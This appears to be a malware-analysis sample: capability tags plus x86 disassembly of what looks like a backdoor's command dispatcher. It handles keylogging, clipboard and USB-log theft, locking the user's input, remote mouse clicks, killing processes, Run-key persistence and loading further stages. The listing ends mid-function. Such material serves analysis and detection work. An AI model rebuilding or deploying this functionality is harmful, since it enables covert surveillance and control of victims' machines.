Function at 0x420360
Capabilities:
Check http status code
Check os version
Create process on windows
Delete registry value
Get hostname
Parse pe header
Persist via run registry key
Receive data
Receive data on socket
Reference http user-agent string
Resolve function by parsing pe exports
Send data
Send data on socket
Send http request
Set registry value
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x456184
mov eax, dword fs:[0]
push eax
mov eax, 0x3e54
call fcn.00441530
mov eax, dword [0x4668f0]
xor eax, esp
mov dword [esp + 0x3e50], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4668f0]
xor eax, esp
push eax
lea eax, [esp + 0x3e68]
mov dword fs:[0], eax
mov eax, dword [esp + 0x3e78]
xor ebx, ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x28], ebx
push 0xffffffffffffffff
push ebx
lea ecx, [esp + 0x3e84]
mov dword [esp + 0x3e78], ebx
push ecx
mov edi, 0xf
lea ecx, [esp + 0x1ab8]
mov dword [esp + 0x1ad0], edi
mov dword [esp + 0x1acc], ebx
mov byte [esp + 0x1abc], bl
call fcn.0042bf10
mov byte [esp + 0x3e70], 1
push ebx
push 0x45b404
lea ecx, [esp + 0x1aec]
mov dword [esp + 0x1b04], edi
mov dword [esp + 0x1b00], ebx
mov byte [esp + 0x1af0], bl
call fcn.0042d2b0
mov byte [esp + 0x3e70], 2
push ebx
push 0x45b404
lea ecx, [esp + 0x1a98]
mov dword [esp + 0x1ab0], edi
mov dword [esp + 0x1aac], ebx
mov byte [esp + 0x1a9c], bl
call fcn.0042d2b0
mov byte [esp + 0x3e70], 3
push ebx
push 0x45b404
lea ecx, [esp + 0x1ad0]
mov dword [esp + 0x1ae8], edi
mov dword [esp + 0x1ae4], ebx
mov byte [esp + 0x1ad4], bl
call fcn.0042d2b0
push 1
push 0x45b6c8
lea edx, [esp + 0x3e84]
push edx
mov byte [esp + 0x3e7c], 4
call fcn.0042c190
cmp eax, 0xffffffff
je 0x4206bf
push 1
push 0x45b6c8
lea eax, [esp + 0x3e84]
push eax
call fcn.0042c190
push eax
xor ecx, ecx
lea esi, [esp + 0x788]
lea edx, [esp + 0x3e80]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x1ab8]
mov byte [esp + 0x3e7c], 5
call fcn.0042bf10
mov ebp, 0x10
mov byte [esp + 0x3e70], 4
cmp dword [esp + 0x79c], ebp
jb 0x420502
mov ecx, dword [esp + 0x788]
push ecx
call fcn.00434321
add esp, 4
push 1
push 0x45b6c8
lea edx, [esp + 0x3e84]
push edx
mov dword [esp + 0x7a8], edi
mov dword [esp + 0x7a4], ebx
mov byte [esp + 0x794], 0
call fcn.0042c190
push 0xffffffffffffffff
lea ecx, [eax + 1]
lea esi, [esp + 0x494]
lea edx, [esp + 0x3e80]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x1af0]
mov byte [esp + 0x3e7c], 6
call fcn.0042bf10
mov byte [esp + 0x3e70], 4
cmp dword [esp + 0x4a8], ebp
jb 0x42057d
mov eax, dword [esp + 0x494]
push eax
call fcn.00434321
add esp, 4
push 1
push 0x45bb58
lea ecx, [esp + 0x1aec]
push ecx
mov dword [esp + 0x4b4], edi
mov dword [esp + 0x4b0], ebx
mov byte [esp + 0x4a0], 0
call fcn.0042c190
cmp eax, 0xffffffff
je 0x4206a6
push 1
push 0x45bb58
lea edx, [esp + 0x1aec]
push edx
call fcn.0042c190
push eax
xor ecx, ecx
lea esi, [esp + 0x14c]
lea edx, [esp + 0x1ae8]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x1a9c]
mov byte [esp + 0x3e7c], 7
call fcn.0042bf10
mov byte [esp + 0x3e70], 4
cmp dword [esp + 0x160], ebp
jb 0x420613
mov eax, dword [esp + 0x14c]
push eax
call fcn.00434321
add esp, 4
push 1
push 0x45bb58
lea ecx, [esp + 0x1aec]
push ecx
mov dword [esp + 0x16c], edi
mov dword [esp + 0x168], ebx
mov byte [esp + 0x158], 0
call fcn.0042c190
push 0xffffffffffffffff
lea ecx, [eax + 1]
lea esi, [esp + 0x654]
lea edx, [esp + 0x1ae8]
call fcn.0042b6b0
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [esp + 0x1ad4]
mov byte [esp + 0x3e7c], 8
call fcn.0042bf10
mov byte [esp + 0x3e70], 4
cmp dword [esp + 0x668], ebp
jb 0x42068e
mov edx, dword [esp + 0x654]
push edx
call fcn.00434321
add esp, 4
mov dword [esp + 0x668], edi
mov dword [esp + 0x664], ebx
mov byte [esp + 0x654], 0
jmp 0x4206c4
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x1aec]
push eax
lea ecx, [esp + 0x1a9c]
call fcn.0042bf10
jmp 0x4206c4
mov ebp, 0x10
mov ecx, str.f_getregstr_hkcu
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4208c3
push connect
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x44], esp
push ecx
lea ecx, [esp + 0x1aec]
call fcn.00402c10
sub esp, 0x18
mov byte [esp + 0x3eac], 9
mov edx, esp
mov dword [esp + 0x68], esp
push edx
lea ecx, [esp + 0x1ad0]
call fcn.00402c10
add esp, 4
lea ecx, [esp + 0x504]
mov byte [esp + 0x3eac], 4
call fcn.0041dfe0
add esp, 0x3c
push eax
lea esi, [esp + 0x184]
mov byte [esp + 0x3e74], 0xa
call fcn.00402ae0
add esp, 4
mov esi, dword [esp + 0x20]
push 0xffffffffffffffff
push ebx
add esi, 0x414
push eax
mov ecx, esi
mov byte [esp + 0x3e7c], 0xb
call fcn.0042bf10
cmp dword [esp + 0x198], ebp
jb 0x42077e
mov eax, dword [esp + 0x184]
push eax
call fcn.00434321
add esp, 4
mov edi, 0xf
mov byte [esp + 0x3e70], 4
cmp dword [esp + 0x4e0], 8
mov dword [esp + 0x198], edi
mov dword [esp + 0x194], ebx
mov byte [esp + 0x184], 0
jb 0x4207bb
mov ecx, dword [esp + 0x4cc]
push ecx
call fcn.00434321
add esp, 4
sub esp, 0x1c
xor edx, edx
mov ecx, esp
mov dword [esp + 0x4fc], 7
mov dword [esp + 0x4f8], ebx
mov word [esp + 0x4e8], dx
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x40], esp
cmp dword [ecx + 0x18], ebp
jb 0x4207f0
mov eax, dword [ecx + 4]
jmp 0x4207f3
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0xc
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x64], esp
cmp dword [ecx + 0x18], ebp
jb 0x420824
mov eax, dword [ecx + 4]
jmp 0x420827
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467af4
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0xd
mov ecx, esp
mov dword [esp + 0x70], esp
push str._:_f_getregstr.txt
call fcn.0042b4b0
mov byte [esp + 0x3ec4], 0xe
cmp dword [esi + 0x18], ebp
jb 0x420864
mov esi, dword [esi + 4]
jmp 0x420867
add esi, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x84], esp
push esi
call fcn.0042b4b0
lea edi, [esp + 0x228]
mov byte [esp + 0x3ee0], 4
call fcn.004107a0
add esp, 0x70
cmp dword [esp + 0x1d0], ebp
jb 0x4208a9
mov eax, dword [esp + 0x1bc]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x1d0], 0xf
mov dword [esp + 0x1cc], ebx
mov byte [esp + 0x1bc], 0
mov ecx, str.f_getregstr_hklm
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x420ac2
push reloc.OLEAUT32.dll_SysReAllocString
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x34], esp
push ecx
lea ecx, [esp + 0x1aec]
call fcn.00402c10
sub esp, 0x18
mov byte [esp + 0x3eac], 0xf
mov edx, esp
mov dword [esp + 0x58], esp
push edx
lea ecx, [esp + 0x1ad0]
call fcn.00402c10
add esp, 4
lea ecx, [esp + 0x22c]
mov byte [esp + 0x3eac], 4
call fcn.0041dfe0
add esp, 0x3c
push eax
lea esi, [esp + 0x734]
mov byte [esp + 0x3e74], 0x10
call fcn.00402ae0
add esp, 4
mov esi, dword [esp + 0x20]
push 0xffffffffffffffff
push ebx
add esi, 0x414
push eax
mov ecx, esi
mov byte [esp + 0x3e7c], 0x11
call fcn.0042bf10
cmp dword [esp + 0x748], ebp
jb 0x42097d
mov eax, dword [esp + 0x734]
push eax
call fcn.00434321
add esp, 4
mov edi, 0xf
mov byte [esp + 0x3e70], 4
cmp dword [esp + 0x208], 8
mov dword [esp + 0x748], edi
mov dword [esp + 0x744], ebx
mov byte [esp + 0x734], 0
jb 0x4209ba
mov ecx, dword [esp + 0x1f4]
push ecx
call fcn.00434321
add esp, 4
sub esp, 0x1c
xor edx, edx
mov ecx, esp
mov dword [esp + 0x224], 7
mov dword [esp + 0x220], ebx
mov word [esp + 0x210], dx
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x30], esp
cmp dword [ecx + 0x18], ebp
jb 0x4209ef
mov eax, dword [ecx + 4]
jmp 0x4209f2
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x12
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x54], esp
cmp dword [ecx + 0x18], ebp
jb 0x420a23
mov eax, dword [ecx + 4]
jmp 0x420a26
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467af4
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x13
mov ecx, esp
mov dword [esp + 0x78], esp
push str._:_f_getregstr.txt
call fcn.0042b4b0
mov byte [esp + 0x3ec4], 0x14
cmp dword [esi + 0x18], ebp
jb 0x420a63
mov esi, dword [esi + 4]
jmp 0x420a66
add esi, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x9c], esp
push esi
call fcn.0042b4b0
lea edi, [esp + 0x570]
mov byte [esp + 0x3ee0], 4
call fcn.004107a0
add esp, 0x70
cmp dword [esp + 0x518], ebp
jb 0x420aa8
mov eax, dword [esp + 0x504]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x518], 0xf
mov dword [esp + 0x514], ebx
mov byte [esp + 0x504], 0
mov ecx, str.f_getwmistr
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x420ce9
sub esp, 0x1c
mov ecx, esp
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x30], esp
cmp dword [ecx + 0x18], ebp
jb 0x420af8
mov eax, dword [ecx + 4]
jmp 0x420afb
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
lea edx, [esp + 0x1aec]
push edx
mov byte [eax], 0
call fcn.0042bf10
mov byte [esp + 0x3e8c], 0x15
mov eax, dword [esp + 0x1ab0]
cmp dword [esp + 0x1ac4], ebp
jae 0x420b2d
lea eax, [esp + 0x1ab0]
push ecx
mov ebx, esp
mov dword [esp + 0x3c], esp
push eax
call fcn.00408280
lea ecx, [esp + 0x6a8]
mov byte [esp + 0x3e90], 4
call fcn.00409310
push eax
lea esi, [esp + 0x24c]
mov byte [esp + 0x3e94], 0x16
call fcn.00402ae0
add esp, 0x24
mov esi, dword [esp + 0x20]
push 0xffffffffffffffff
xor ebx, ebx
push ebx
add esi, 0x414
push eax
mov ecx, esi
mov byte [esp + 0x3e7c], 0x17
call fcn.0042bf10
mov ebp, 0x10
cmp dword [esp + 0x240], ebp
jb 0x420ba3
mov eax, dword [esp + 0x22c]
push eax
call fcn.00434321
add esp, 4
mov edi, 0xf
mov byte [esp + 0x3e70], 4
cmp dword [esp + 0x6a0], 8
mov dword [esp + 0x240], edi
mov dword [esp + 0x23c], ebx
mov byte [esp + 0x22c], bl
jb 0x420bdf
mov ecx, dword [esp + 0x68c]
push ecx
call fcn.00434321
add esp, 4
sub esp, 0x1c
xor edx, edx
mov ecx, esp
mov dword [esp + 0x6bc], 7
mov dword [esp + 0x6b8], ebx
mov word [esp + 0x6a8], dx
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x30], esp
cmp dword [ecx + 0x18], ebp
jb 0x420c14
mov eax, dword [ecx + 4]
jmp 0x420c17
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467b10
mov byte [eax], bl
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x18
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x54], esp
cmp dword [ecx + 0x18], ebp
jb 0x420c47
mov eax, dword [ecx + 4]
jmp 0x420c4a
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467af4
mov byte [eax], bl
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x19
mov ecx, esp
mov dword [esp + 0x78], esp
push str._:_f_getwmistr.txt
call fcn.0042b4b0
mov byte [esp + 0x3ec4], 0x1a
cmp dword [esi + 0x18], ebp
jb 0x420c86
mov esi, dword [esi + 4]
jmp 0x420c89
add esi, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x9c], esp
push esi
call fcn.0042b4b0
lea edi, [esp + 0x2d0]
mov byte [esp + 0x3ee0], 4
call fcn.004107a0
add esp, 0x70
cmp dword [esp + 0x278], ebp
jb 0x420ccb
mov eax, dword [esp + 0x264]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x278], 0xf
mov dword [esp + 0x274], ebx
mov byte [esp + 0x264], bl
mov ebp, 0x10
mov ecx, str.u_sskd
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x420d27
mov eax, dword [esp + 0x1ae8]
cmp dword [esp + 0x1afc], ebp
jae 0x420d15
lea eax, [esp + 0x1ae8]
push eax
call fcn.00435329
add esp, 4
push eax
call fcn.0041a680
add esp, 4
mov ecx, str.u_ssku
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x420d65
mov eax, dword [esp + 0x1ae8]
cmp dword [esp + 0x1afc], ebp
jae 0x420d53
lea eax, [esp + 0x1ae8]
push eax
call fcn.00435329
add esp, 4
push eax
call fcn.0041a6c0
add esp, 4
mov ecx, str.u_clm
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
mov ebp, dword [sym.imp.USER32.dll_SetCursorPos]
mov ebx, dword [sym.imp.USER32.dll_mouse_event]
test al, al
je 0x420ddd
mov eax, dword [esp + 0x1acc]
mov ecx, 0x10
cmp dword [esp + 0x1ae0], ecx
jae 0x420da2
lea eax, [esp + 0x1acc]
mov edi, dword [esp + 0x1a94]
cmp dword [esp + 0x1aa8], ecx
jae 0x420db9
lea edi, [esp + 0x1a94]
push eax
call fcn.00435329
add esp, 4
push edi
mov esi, eax
call fcn.00435329
add esp, 4
push esi
push eax
call ebp
push 0
push 0
push 0
push 0
push 6
call ebx
mov ecx, str.u_crm
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x420e49
mov eax, dword [esp + 0x1acc]
mov ecx, 0x10
cmp dword [esp + 0x1ae0], ecx
jae 0x420e0e
lea eax, [esp + 0x1acc]
mov edi, dword [esp + 0x1a94]
cmp dword [esp + 0x1aa8], ecx
jae 0x420e25
lea edi, [esp + 0x1a94]
push eax
call fcn.00435329
add esp, 4
push edi
mov esi, eax
call fcn.00435329
add esp, 4
push esi
push eax
call ebp
push 0
push 0
push 0
push 0
push 0x18
call ebx
mov ecx, str.u_ssk
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
mov ebx, 0x10
test al, al
je 0x420e8c
mov eax, dword [esp + 0x1ae8]
cmp dword [esp + 0x1afc], ebx
jae 0x420e7a
lea eax, [esp + 0x1ae8]
push eax
call fcn.00435329
add esp, 4
push eax
call fcn.0041a620
add esp, 4
mov ecx, str.f_readcputemp
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x42100e
call fcn.004090c0
push eax
lea ecx, [esp + 0x53c]
push ecx
call fcn.004027f0
add esp, 8
mov esi, dword [esp + 0x20]
push 0xffffffffffffffff
xor edi, edi
push edi
add esi, 0x414
push eax
mov ecx, esi
mov byte [esp + 0x3e7c], 0x1b
call fcn.0042bf10
mov byte [esp + 0x3e70], 4
cmp dword [esp + 0x550], ebx
jb 0x420efb
mov edx, dword [esp + 0x53c]
push edx
call fcn.00434321
add esp, 4
sub esp, 0x1c
mov ebp, 0xf
mov ecx, esp
mov dword [esp + 0x56c], ebp
mov dword [esp + 0x568], edi
mov byte [esp + 0x558], 0
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], edi
mov dword [esp + 0x30], esp
cmp dword [ecx + 0x18], ebx
jb 0x420f2f
mov eax, dword [ecx + 4]
jmp 0x420f32
lea eax, [ecx + 4]
push 0xffffffffffffffff
push edi
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x1c
mov ecx, esp
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], edi
mov dword [esp + 0x54], esp
cmp dword [ecx + 0x18], ebx
jb 0x420f63
mov eax, dword [ecx + 4]
jmp 0x420f66
lea eax, [ecx + 4]
push 0xffffffffffffffff
push edi
push 0x467af4
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x1d
mov ecx, esp
mov dword [esp + 0x78], esp
push str._:_f_cputemp.txt
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x1e
mov ecx, esp
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], edi
mov dword [esp + 0x9c], esp
cmp dword [ecx + 0x18], ebx
jb 0x420fb5
mov eax, dword [ecx + 4]
jmp 0x420fb8
lea eax, [ecx + 4]
push 0xffffffffffffffff
push edi
push esi
mov byte [eax], 0
call fcn.0042bf10
lea edi, [esp + 0x308]
mov byte [esp + 0x3ee0], 4
call fcn.004107a0
add esp, 0x70
cmp dword [esp + 0x2b0], ebx
jb 0x420ff4
mov eax, dword [esp + 0x29c]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x2b0], ebp
mov dword [esp + 0x2ac], 0
mov byte [esp + 0x29c], 0
mov ecx, str.f_getlog_clipboard
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421045
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push str.clipboard
call fcn.0042b4b0
mov ecx, dword [0x468dec]
push ecx
call fcn.00413ab0
add esp, 0x20
mov ecx, str.f_getlog_keylog
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x42107c
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push str.keylog
call fcn.0042b4b0
mov edx, dword [0x468dec]
push edx
call fcn.00413ab0
add esp, 0x20
mov ecx, str.f_getlog_usbstor
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4210b2
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push str.usbstor
call fcn.0042b4b0
mov eax, dword [0x468d94]
push eax
call fcn.00413ab0
add esp, 0x20
mov ecx, str.f_getlog_power
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4210e9
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push str.power
call fcn.0042b4b0
mov ecx, dword [0x468dc8]
push ecx
call fcn.00413ab0
add esp, 0x20
mov ecx, str.f_input_unlock
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
mov esi, dword [sym.imp.USER32.dll_BlockInput]
test al, al
je 0x421108
push 0
call esi
mov ecx, str.f_input_lock
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421121
push 1
call esi
mov ecx, str.f_kill
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421177
mov eax, dword [esp + 0x1a94]
cmp dword [esp + 0x1aa8], ebx
jae 0x42114d
lea eax, [esp + 0x1a94]
push eax
call fcn.00435329
add esp, 4
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x421170
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, str.f_apps
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x42134f
lea edi, [esp + 0x2d0]
call fcn.00403790
sub esp, 0x1c
mov byte [esp + 0x3e8c], 0x1f
mov esi, esp
mov dword [esp + 0x30], esp
push eax
call fcn.00402ae0
add esp, 4
lea edi, [esp + 0x7d8]
call fcn.00407d20
add esp, 0x1c
mov edi, dword [esp + 0x20]
push 0xffffffffffffffff
xor ebx, ebx
push ebx
add edi, 0x414
push eax
mov ecx, edi
mov byte [esp + 0x3e7c], 0x20
call fcn.0042bf10
mov esi, 0x10
cmp dword [esp + 0x7d4], esi
jb 0x421202
mov edx, dword [esp + 0x7c0]
push edx
call fcn.00434321
add esp, 4
mov ebp, 0xf
mov byte [esp + 0x3e70], 4
cmp dword [esp + 0x2e8], 8
mov dword [esp + 0x7d4], ebp
mov dword [esp + 0x7d0], ebx
mov byte [esp + 0x7c0], 0
jb 0x42123f
mov eax, dword [esp + 0x2d4]
push eax
call fcn.00434321
add esp, 4
xor ecx, ecx
mov word [esp + 0x2d4], cx
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x304], 7
mov dword [esp + 0x300], ebx
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x30], esp
cmp dword [ecx + 0x18], esi
jb 0x421274
mov eax, dword [ecx + 4]
jmp 0x421277
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x21
mov ecx, esp
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x54], esp
cmp dword [ecx + 0x18], esi
jb 0x4212a8
mov eax, dword [ecx + 4]
jmp 0x4212ab
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467af4
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x22
mov ecx, esp
mov dword [esp + 0x78], esp
push str._:_f_apps.txt
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x23
mov ecx, esp
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x9c], esp
cmp dword [ecx + 0x18], esi
jb 0x4212fa
mov eax, dword [ecx + 4]
jmp 0x4212fd
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push edi
mov byte [eax], 0
call fcn.0042bf10
lea edi, [esp + 0x5e0]
mov byte [esp + 0x3ee0], 4
call fcn.004107a0
add esp, 0x70
cmp dword [esp + 0x588], esi
jb 0x421339
mov edx, dword [esp + 0x574]
push edx
call fcn.00434321
add esp, 4
mov dword [esp + 0x588], ebp
mov dword [esp + 0x584], ebx
mov byte [esp + 0x574], 0
mov ecx, str.f_tasklist
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421527
lea ecx, [esp + 0x6c0]
call fcn.00407fc0
sub esp, 0x1c
mov byte [esp + 0x3e8c], 0x24
mov esi, esp
mov dword [esp + 0x30], esp
push eax
call fcn.00402ae0
add esp, 4
lea edi, [esp + 0x324]
call fcn.00407d20
add esp, 0x1c
mov edi, dword [esp + 0x20]
push 0xffffffffffffffff
xor ebx, ebx
push ebx
add edi, 0x414
push eax
mov ecx, edi
mov byte [esp + 0x3e7c], 0x25
call fcn.0042bf10
mov esi, 0x10
cmp dword [esp + 0x320], esi
jb 0x4213da
mov eax, dword [esp + 0x30c]
push eax
call fcn.00434321
add esp, 4
mov ebp, 0xf
mov byte [esp + 0x3e70], 4
cmp dword [esp + 0x6d8], 8
mov dword [esp + 0x320], ebp
mov dword [esp + 0x31c], ebx
mov byte [esp + 0x30c], 0
jb 0x421417
mov ecx, dword [esp + 0x6c4]
push ecx
call fcn.00434321
add esp, 4
sub esp, 0x1c
xor edx, edx
mov ecx, esp
mov dword [esp + 0x6f4], 7
mov dword [esp + 0x6f0], ebx
mov word [esp + 0x6e0], dx
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x30], esp
cmp dword [ecx + 0x18], esi
jb 0x42144c
mov eax, dword [ecx + 4]
jmp 0x42144f
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467b10
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ea8], 0x26
mov ecx, esp
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x54], esp
cmp dword [ecx + 0x18], esi
jb 0x421480
mov eax, dword [ecx + 4]
jmp 0x421483
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467af4
mov byte [eax], 0
call fcn.0042bf10
sub esp, 0x1c
mov byte [esp + 0x3ec4], 0x27
mov ecx, esp
mov dword [esp + 0x78], esp
push str._:_f_tasklist.txt
call fcn.0042b4b0
sub esp, 0x1c
mov byte [esp + 0x3ee0], 0x28
mov ecx, esp
mov dword [ecx + 0x18], ebp
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x9c], esp
cmp dword [ecx + 0x18], esi
jb 0x4214d2
mov eax, dword [ecx + 4]
jmp 0x4214d5
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push edi
mov byte [eax], 0
call fcn.0042bf10
lea edi, [esp + 0x3b0]
mov byte [esp + 0x3ee0], 4
call fcn.004107a0
add esp, 0x70
cmp dword [esp + 0x358], esi
jb 0x421511
mov eax, dword [esp + 0x344]
push eax
call fcn.00434321
add esp, 4
mov dword [esp + 0x358], ebp
mov dword [esp + 0x354], ebx
mov byte [esp + 0x344], 0
mov ecx, str.load_s5
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421541
call fcn.0041ece0
mov ecx, str.load_s4
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x42155b
call fcn.0041ecb0
mov ecx, str.load_s3
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421575
call fcn.0041ec80
mov ecx, str.load_s2
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x42158f
call fcn.0041ec50
mov ecx, str.load_s1
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4215a9
call fcn.0041e8b0
mov ecx, str.load_wmi
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x4215c3
call fcn.00408e30
mov ecx, str.f_powerstate
lea edi, [esp + 0x1aac]
call fcn.0042f0d0
test al, al
je 0x421848
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push str.EstimatedRunTime
call fcn.0042b4b0
push ecx
mov byte [esp + 0x3e90], 0x29
mov ebx, esp
mov dword [esp + 0x3c], esp
push str.Win32_Battery
call fcn.00408280
lea ecx, [esp + 0x968]
mov byte [esp + 0x3e90], 4
call fcn.00409310
add esp, 0x20
push eax
sub esp, 0x1c
mov byte [esp + 0x3e90], 0x2a
mov ecx, esp
mov dword [esp + 0x34], esp
push str.EstimatedChargeRemaining
mov esi, 0x45cb14
call fcn.0042b4b0
push ecx
mov byte [esp + 0x3e94], 0x2b
mov ebx, esp
mov dword [esp + 0x40], esp
push str.Win32_Battery
call fcn.00408280
lea ecx, [esp + 0x11f4]
mov byte [esp + 0x3e94], 0x2a
call fcn.00409310
mov ebx, esi
push eax
lea esi, [esp + 0x938]
mov byte [esp + 0x3e98], 0x2c
call fcn.0042f490
add esp, 0x24
push eax
lea edi, [esp + 0x19f0]
mov byte [esp + 0x3e78], 0x2d
call fcn.0042f920
sub esp, 0x14
mov byte [esp + 0x3e8c], 0x2e
mov esi, esp
mov dword [esp + 0x30], esp
push eax
call fcn.00402ae0
add esp, 4
lea edi, [esp + 0x5c4]
call fcn.00407d20
add esp, 0x1c
mov esi, dword [esp + 0x20]
push 0xffffffffffffffff
xor ebx, ebx
push ebx
add esi, 0x414
push eax
mov ecx, esi
mov byte [esp + 0x3e7c], 0x2f
call fcn.0042bf10
mov ebp, 0x10
cmp dword [esp + 0x5c0], ebp
jb 0x421702
mov ecx, dword [esp + 0x5ac]
push ecx
call fcn.00434321
add esp, 4
mov edi, 0xf
lea ecx, [esp + 0x19e8]
mov dword [esp + 0x5c0], edi
mov dword [esp + 0x5bc], ebx
mov byte [esp + 0x5ac], bl
call fcn.0042bc90
lea ecx, [esp + 0x910]
call fcn.0042bc90
lea ecx, [esp + 0x11d0]
call fcn.0042bc90
lea ecx, [esp + 0x948]
mov byte [esp + 0x3e70], 4
call fcn.0042bc90
sub esp, 0x1c
mov ecx, esp
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], ebx
mov dword [esp + 0x30], esp
cmp dword [ecx + 0x18], ebp
jb 0x42176d
mov eax, dword [ecx + 4]
jmp 0x421770
lea eax, [ecx + 4]
push 0xffffffffffffffff
push ebx
push 0x467b10
